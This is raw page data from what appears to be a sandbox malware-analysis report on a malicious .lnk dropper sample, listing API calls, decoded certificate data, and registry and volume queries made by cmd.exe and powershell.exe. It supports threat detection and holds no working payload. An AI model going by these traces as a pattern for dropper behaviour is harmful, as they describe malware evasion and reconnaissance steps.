24:I[7638,["/_next/static/chunks/1nkjstpmp978x.js","/_next/static/chunks/0g8d-v19n010u.js","/_next/static/chunks/2xonh_kqmr__3.js","/_next/static/chunks/3spet-0yezls2.js","/_next/static/chunks/2wvg5zqmbil4p.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/3l_wb6il5gi_h.js","/_next/static/chunks/136wug8odqdqr.js"],"SampleDetailWrapper"] 62:I[27201,["/_next/static/chunks/1nkjstpmp978x.js","/_next/static/chunks/0g8d-v19n010u.js","/_next/static/chunks/2xonh_kqmr__3.js","/_next/static/chunks/3spet-0yezls2.js"],"IconMark"] 23:T4ad,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious LNK/TrojanDropper.Agent Sample 3fd02c7057ef… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample 3fd02c7057ef…. Malware family: LNK/TrojanDropper.Agent. Threat score 100/100. 5/23 AV engines flagged this file. 4 malicious and 9 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/3fd02c7057ef1324ad74714a7fc4b00ac338cfb172a788d98e5a781548b8f027","keywords":["Malicious","LNK/TrojanDropper.Agent","malware analysis","sandbox report","threat intelligence","3fd02c7057ef1324ad74714a7fc4b00ac338cfb172a788d98e5a781548b8f027"],"about":{"@type":"SoftwareApplication","name":"???????????? ???????? ???????.lnk","applicationCategory":["lnk"],"identifier":"3fd02c7057ef1324ad74714a7fc4b00ac338cfb172a788d98e5a781548b8f027","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"LNK/TrojanDropper.Agent","antivirusDetections":{"malicious":5,"total":23},"behavioralIndicators":{"malicious":4,"suspicious":9},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}25:T442,Found reference to API "using System;using System.Runtime.InteropServices;namespace Microsoft.PowerShell.Commands.AddType.AutoGeneratedTypes public class DDD { [DllImport("kernel32.dll")]public static extern IntPtr WaitForSingleObject(IntPtr a,uint b); }" (Indicator: "WaitForSingleObject"; File: "vppfuper.0.cs") Found reference to API "WaitForSingleObjectEx" (Indicator: "WaitForSingleObject"; Source: "00000000-00004464.00000001.124922.6F311000.00000002.mdmp") Found reference to API "WaitForSingleObject" (Indicator: "WaitForSingleObject"; Source: "00000000-00004464.00000001.124922.6F311000.00000002.mdmp") Found reference to API "WaitForMultipleObjects" (Indicator: "WaitForMultipleObjects"; Source: "00000000-00004464.00000001.124922.6F311000.00000002.mdmp") Found reference to API "RegisterWaitForSingleObject" (Indicator: "WaitForSingleObject"; Source: "00000000-00004464.00000001.124922.6F311000.00000002.mdmp") Found reference to API "CreateTimerQueueTimer" (Indicator: "CreateTimerQueueTimer"; Source: "00000000-00004464.00000001.124922.6F311000.00000002.mdmp")26:T464,file/memory contains long string with (Indicator: "CreateThread"; File: "c2iwyi10.0.cs") Found reference to API "MpFreeMemory" (Indicator: "FreeMemory"; Source: "00000000-00004464.00000001.124922.6F281000.00000020.mdmp, 00000000-00004464.00000002.126844.72041000.00000020.mdmp") Found reference to API "CreateThread" (Indicator: "CreateThread"; Source: "00000000-00004464.00000001.124922.6F311000.00000002.mdmp") Found reference to API "CreateThreadpool" (Indicator: "CreateThread"; Source: "00000000-00004464.00000001.124922.6F311000.00000002.mdmp") Found reference to API "CreateThreadpoolIo" (Indicator: "CreateThread"; Source: "00000000-00004464.00000001.124922.6F311000.00000002.mdmp") Found reference to API "CreateThreadpoolWait" (Indicator: "CreateThread"; Source: "00000000-00004464.00000001.124922.6F311000.00000002.mdmp") Found reference to API "CreateThreadpoolTimer" (Indicator: "CreateThread"; Source: "00000000-00004464.00000001.124922.6F311000.00000002.mdmp") Found reference to API "CreateThreadpoolWork" (Indicator: "CreateThread"; Source: "00000000-00004464.00000001.124922.6F311000.00000002.mdmp")27:T5d1,Found string "# Format-Hex cmdlet helps in displaying the Hexadecimal equivalent of the input data." (Indicator: "Format-Hex"; Source: "00000000-00004464.00000001.124922.081F0000.00000004.mdmp, 00000000-00004464.00000002.126844.081F0000.00000004.mdmp") Found string "function Format-Hex" (Indicator: "Format-Hex"; Source: "00000000-00004464.00000001.124922.081F0000.00000004.mdmp, 00000000-00004464.00000002.126844.081F0000.00000004.mdmp") Found string "# valid values (supported on all paltforms where Format-Hex is avaliable)" (Indicator: "Format-Hex"; Source: "00000000-00004464.00000001.124922.081F0000.00000004.mdmp, 00000000-00004464.00000002.126844.081F0000.00000004.mdmp") Found string "# 170..180 | format-hex" (Indicator: "Format-Hex"; Source: "00000000-00004464.00000001.124922.081F0000.00000004.mdmp, 00000000-00004464.00000002.126844.081F0000.00000004.mdmp") Found string "# PS# 170..180 | format-hex -Raw" (Indicator: "Format-Hex"; Source: "00000000-00004464.00000001.124922.081F0000.00000004.mdmp, 00000000-00004464.00000002.126844.081F0000.00000004.mdmp") Found string "# .{ $i;$i;$i;$i64 } | format-hex" (Indicator: "Format-Hex"; Source: "00000000-00004464.00000001.124922.081F0000.00000004.mdmp, 00000000-00004464.00000002.126844.081F0000.00000004.mdmp") Found string "function ConvertFrom-SddlString" (Indicator: "ConvertFrom-SddlString"; Source: "00000000-00004464.00000001.124922.081F0000.00000004.mdmp, 00000000-00004464.00000002.126844.081F0000.00000004.mdmp")28:T12ec,"powershell.exe" called "CryptStringToBinaryA" with parameters {"pszString": "MIIatwYJKoZIhvcNAQcCoIIaqDCCGqQCAQExCzAJBgUrDgMCGgUAMGkGCisGAQQBgjcCAQSgWzBZMDQGCisGAQQBgjcCAR4wJgIDAQAABBAfzDtgWUsITrck0sYpfvNRAgEAAgEAAgEAAgEAAgEAMCEwCQYFKw4DAhoFAAQUvSVTZwxcxUqDUoxiH97RfI559SygghV6MIIEuzCCA6OgAwIBAgITMwAAAF3JyvZpIzdoUAAAAAAAXTANBgkqhk" "cchString": "9410" "dwFlags": "1" "pbBinary": "30821ab706092a864886f70d010702a0821aa830821aa4020101310b300906052b0e03021a05003069060a2b060104018237020104a05b30593034060a2b06010401823702011e3026020301000004101fcc3b60594b084eb724d2c6297ef3510201000201000201000201000201003021300906052b0e03021a05000414bd2553670c5cc54a83528c621fded17c8e79f52ca082157a308204bb308203a3a0030201020213330000005dc9caf6692337685000000000005d300d06092a864886f70d01010505003077310b3009060355040613025553311330110603550408130a57617368696e67746f6e3110300e060355040713075265646d6f6e64311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e3121301f060355040313184d6963726f736f66742054696d652d5374616d7020504341301e170d3134303532333137313331375a170d3135303832333137313331375a3081ab310b3009060355040613025553310b30090603550408130257413110300e060355040713075265646d6f6e64311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e310d300b060355040b13044d4f505231273025060355040b131e6e436970686572204453452045534e3a374432452d333738322d42304637312530230603550403131c4d6963726f736f66742054696d652d5374616d70205365727669636530820122300d06092a864886f70d01010105000382010f003082010a0282010100abba7a2faf541f74f40d73b2e00b8558ecababbf4700fe8d3731f21c933ea6bace1be6514068d48018d758635d033736fb835870dec43336b05f077f7dfdf758ab5a976e45ceb8f11b3d52cfa53d05439ba0b13472d3eff331bc2e688e2a350b2e74b0efe42b557265958f67f4a3c8ef0311a7dc0b3ca16c0eff618c4292e456c391b18ff6aed7c1e3e8a81901a21760bf43987a2a5a6a34c8920d3fe05c1db77fb05a1dbdcc6c6a11431e020d5b42e96d4b630b39fb52a3ec7a26d2a2304763d2f8ea15d8692e9e26e94e4f1cb3d2e260263f6e5d9214905e346d78047c52519b0b0176eb41005953cedb8dd649856c823b7ec4e98746b2393cf15ed86f72ff0203010001a382010930820105301d0603551d0e04160414d754e615d9d35dca24d50118f07864997b684c33301f0603551d230418301680142334f8d95246700aed40fb76fbb32bb0c335b30f30540603551d1f044d304b3049a047a0458643687474703a2f2f63726c2e6d6963726f736f66742e636f6d2f706b692f63726c2f70726f64756374732f4d6963726f736f667454696d655374616d705043412e63726c305806082b06010505070101044c304a304806082b06010505073002863c687474703a2f2f7777772e6d6963726f" "pcbBinary": "bb1a0000" "pdwFlags": "01000000"} "powershell.exe" called "CryptStringToBinaryW" with parameters {"pszString": "MIIatwYJKoZIhvcNAQcCoIIaqDCCGqQCAQExCzAJBgUrDgMCGgUAMGkGCisGAQQBgjcCAQSgWzBZMDQGCisGAQQBgjcCAR4wJgIDAQAABBAfzDtgWUsITrck0sYpfvNR" "cchString": "9410" "dwFlags": "1" "pbBinary": "30821ab706092a864886f70d010702a0821aa830821aa4020101310b300906052b0e03021a05003069060a2b060104018237020104a05b30593034060a2b06010401823702011e3026020301000004101fcc3b60594b084eb724d2c6297ef3510201000201000201000201000201003021300906052b0e03021a05000414bd2553670c5cc54a83528c621fded17c8e79f52ca082157a308204bb308203a3a0030201020213330000005dc9caf6692337685000000000005d300d06092a864886f70d01010505003077310b3009060355040613025553311330110603550408130a57617368696e67746f6e3110300e060355040713075265646d6f6e64311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e3121301f060355040313184d6963726f736f66742054696d652d5374616d7020504341301e170d3134303532333137313331375a170d3135303832333137313331375a3081ab310b3009060355040613025553310b30090603550408130257413110300e060355040713075265646d6f6e64311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e310d300b060355040b13044d4f505231273025060355040b131e6e436970686572204453452045534e3a374432452d333738322d42304637312530230603550403131c4d6963726f736f66742054696d652d5374616d70205365727669636530820122300d06092a864886f70d01010105000382010f003082010a0282010100abba7a2faf541f74f40d73b2e00b8558ecababbf4700fe8d3731f21c933ea6bace1be6514068d48018d758635d033736fb835870dec43336b05f077f7dfdf758ab5a976e45ceb8f11b3d52cfa53d05439ba0b13472d3eff331bc2e688e2a350b2e74b0efe42b557265958f67f4a3c8ef0311a7dc0b3ca16c0eff618c4292e456c391b18ff6aed7c1e3e8a81901a21760bf43987a2a5a6a34c8920d3fe05c1db77fb05a1dbdcc6c6a11431e020d5b42e96d4b630b39fb52a3ec7a26d2a2304763d2f8ea15d8692e9e26e94e4f1cb3d2e260263f6e5d9214905e346d78047c52519b0b0176eb41005953cedb8dd649856c823b7ec4e98746b2393cf15ed86f72ff0203010001a382010930820105301d0603551d0e04160414d754e615d9d35dca24d50118f07864997b684c33301f0603551d230418301680142334f8d95246700aed40fb76fbb32bb0c335b30f30540603551d1f044d304b3049a047a0458643687474703a2f2f63726c2e6d6963726f736f66742e636f6d2f706b692f63726c2f70726f64756374732f4d6963726f736f667454696d655374616d705043412e63726c305806082b06010505070101044c304a304806082b06010505073002863c687474703a2f2f7777772e6d6963726f" "pcbBinary": "bb1a0000" "pdwFlags": "01000000"}29:T201b,"cmd.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00005204) "cmd.exe" called "RtlGetVersion" with parameter 000000000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00005204) "cmd.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00005920) "powershell.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00008260) "powershell.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00008260) "powershell.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f0000020000000000000050e62107f4e52107226e7c740000e202000000002d6e7c74d47113412d000000ecb7bf7478e621070000bd02d087cd021075c9021100000080000000b8e521070000bd023ce6210770c87d74d8e5b032feffffff2d000000d0ccce74270000000ce62107856a7e741c2383744ce62107f85f7e7408000000bb697d74b2697d746c7213412d000000ecb7bf7427000000d0ccce7420e621072d000000d0ccce742700000050e62107856a7e741c23837498e621077e8acd74ee8ccd74738acd741996833c2d000000ecb7bf7427000000d0ccce740c42e202a041e2021996833c60e62107fc520b754ce72107e084cd74b981ab4efeffffff738acd74 (UID: 00000000-00008260) "powershell.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f000002000000000000010000000000000001508fe202508fe20202000000000000000400000000000000588fe202f098e202a3013977820001d4feffffff0000e2026002e20200000000000000050000000004000000020000006002e20204000000040000000400000004000000000000000000000048ee6009506a3c774a4169aafeffffffd0ed6009b71639771c00000028000000a802e202bced60090407486e0000e2020000000028000000000000000000000005000000030000000000e2021c000000000000009002e202f0ed6009ee1339771c000000ee13397700000000000000001c000000ffffffff10ee600950727c740000e202000000001c0000000407486e (UID: 00000000-00008260) "powershell.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000003877a0eaa808a0eaa8080000000090f5a808f8f5a708f8e4a8081900000008f6a70846000d0050f5387768e7a70868e7a70800000000d479524ff8d2e20220d9a7082900000008d3e2020e000a0050f5387780d9e20280d9e20200000000a0eaa80860cfe20218d8e2020a00000070cfe2020c000a0068089508640000001c7a524f68e7a70868e7a70800000000feffffff84707c7468ee600965707c740000e2020000000084707c74487a524f80d9e20280d9e20200000000e32e446e68e7a708b5ce406e4e3a37f330ee6009176f416ec4ee600970c87d7400e6b032feffffff84707c740a8e436e80d9e202f08d436e90ee6009a7ce406e01000000 (UID: 00000000-00008260) "powershell.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f0000020000000000387738e8a80838e8a8080000000000000000f8f5a708f8e4a8080e00000050f53877b0e5a708b0e5a7080000000084707c74f8d2e20220d9a7082400000008d3e2020e002500100c95086400000050f53877a0dae202a0dae2020000000038e8a80860cfe20218d8e2021300000070cfe2020c0013006808950864000000b0e5a708b0e5a70800000000feffffff84707c7464ee600965707c740000e2020000000084707c74447a524fa0dae202a0dae20200000000e32e446eb0e5a708b5ce406e523a37f32cee6009176f416ec4ee600970c87d7400e6b032feffffff84707c740a8e436ea0dae202f08d436e8cee6009a7ce406e01000000504b416e (UID: 00000000-00008260) "powershell.exe" called "RtlGetVersion" with parameter 000000000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00008260) "powershell.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f0000020000000000ffff0000000078d6c60938cf39770c53c302e4d6c60901000000c052c3020c53c302c052c302040000000400000000e0317700100000e4d6c60901000000c052c302cd9739779c973977166cebd4b50f2877c052c3020000397700000000140c6b6d0000000080ee2e770100000000000000f8e2317700000000040000000000000048403077f8e23177e8d6c60980e8a176a038c90280e8a176e4d6c6090000000080e8a17600000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffff0000000000000000000000003ecd390754cd3907 (UID: 00000000-00008260) "powershell.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffff0000000000000000000000006e65ca028665ca02 (UID: 00000000-00008260) "powershell.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffff0000000000000000000000004692c9025a92c902 (UID: 00000000-00008260)2a:T46c,"powershell.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f00000200000000007000000073005c006d006900630072006f0073006f00660074002e006e00650074005c006600720061006d00650077006f0072006b005c00760034002e0030002e00330030003300310039005c0063006f006e006600690067005c006d006100630004000004390700009863c302880bc40266006900670000006c006c00 (UID: 00000000-00008260) "powershell.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f000002000000000000000000e2028000000000000000a11400001cd36009ee13397780000000ee133977000000000000000080000000f062376e000000003cd3600950727c740000e2020000000080000000f062376e02000000002f376e58d36009fb62376e010000008004386e885f7e74000000007847524f88d36009b864376ef42e376e (UID: 00000000-00008260) "powershell.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f00000200000000006f00770073005c006d006900630072006f0073006f00660074002e006e00650074005c006600720061006d00650077006f0072006b005c00760034002e0030002e00330030003300310039005c0063006f006e006600690067005c006d0061006300680069006e0065002e0063006f006e00660069006700000007000007 (UID: 00000000-00004464)2b:T5f3,"cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "LEVELS") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "DEFAULTLEVEL") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "SAFERFLAGS") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "POLICYSCOPE") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "LOGFILENAME") "cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "LEVELS") "cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "DEFAULTLEVEL") "cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "SAFERFLAGS") "cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "POLICYSCOPE") "cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "LOGFILENAME")2c:Tc41,"powershell.exe" (Access type: "QUERY"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES"; Key: ""; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "ENABLEDHCP"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "SEARCHLIST"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "REGISTRATIONENABLED"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "REGISTERADAPTERNAME"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "DOMAIN"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "DHCPDOMAIN"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "NAMESERVER"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "PROFILENAMESERVER"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "DHCPNAMESERVER"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "SEARCHLIST"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "REGISTRATIONENABLED"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "REGISTERADAPTERNAME"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "DOMAIN"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "DHCPDOMAIN"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "NAMESERVER"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "PROFILENAMESERVER"; Value: "")2d:T4aa,"powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLIENTS\STARTMENUINTERNET\MICROSOFT EDGE\CAPABILITIES"; Key: ""; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLIENTS\STARTMENUINTERNET\MICROSOFT EDGE\CAPABILITIES"; Key: "HIDDEN"; Value: "") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLIENTS\STARTMENUINTERNET\MICROSOFT EDGE\CAPABILITIES\FILEASSOCIATIONS"; Key: ""; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLIENTS\STARTMENUINTERNET\MICROSOFT EDGE\CAPABILITIES\FILEASSOCIATIONS"; Key: ".PDF"; Value: "") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLIENTS\STARTMENUINTERNET\GOOGLE CHROME\CAPABILITIES"; Key: ""; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLIENTS\STARTMENUINTERNET\GOOGLE CHROME\CAPABILITIES"; Key: "HIDDEN"; Value: "") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLIENTS\STARTMENUINTERNET\GOOGLE CHROME\CAPABILITIES\FILEASSOCIATIONS"; Key: ""; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLIENTS\STARTMENUINTERNET\GOOGLE CHROME\CAPABILITIES\FILEASSOCIATIONS"; Key: ".PDF"; Value: "")2e:T13cb,"cmd.exe" queries volume information of "C:\" at 00000000-00005204-00000C15-881280252 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.ConsoleHost\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.ConsoleHost.dll" at 00000000-00008260-00000C15-882677221 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" at 00000000-00008260-00000C15-882924192 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.dll" at 00000000-00008260-00000C15-884659436 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.DirectoryServices\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.DirectoryServices.dll" at 00000000-00008260-00000C15-884727785 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll" at 00000000-00008260-00000C15-884747227 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00008260-00000C15-884782304 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll" at 00000000-00008260-00000C15-884855629 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll" at 00000000-00008260-00000C15-884894164 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll" at 00000000-00008260-00000C15-884894442 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Security\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Security.dll" at 00000000-00008260-00000C15-885533214 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll" at 00000000-00008260-00000C15-885569794 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll" at 00000000-00008260-00000C15-885581406 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll" at 00000000-00008260-00000C15-885581724 "powershell.exe" queries volume information of "C:\" at 00000000-00008260-00000C15-886295217 "powershell.exe" queries volume information of "C:\share" at 00000000-00008260-00000C15-886297324 "powershell.exe" queries volume information of "C:\share" at 00000000-00008260-00000C15-887455562 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00008260-00000C15-888831288 "powershell.exe" queries volume information of 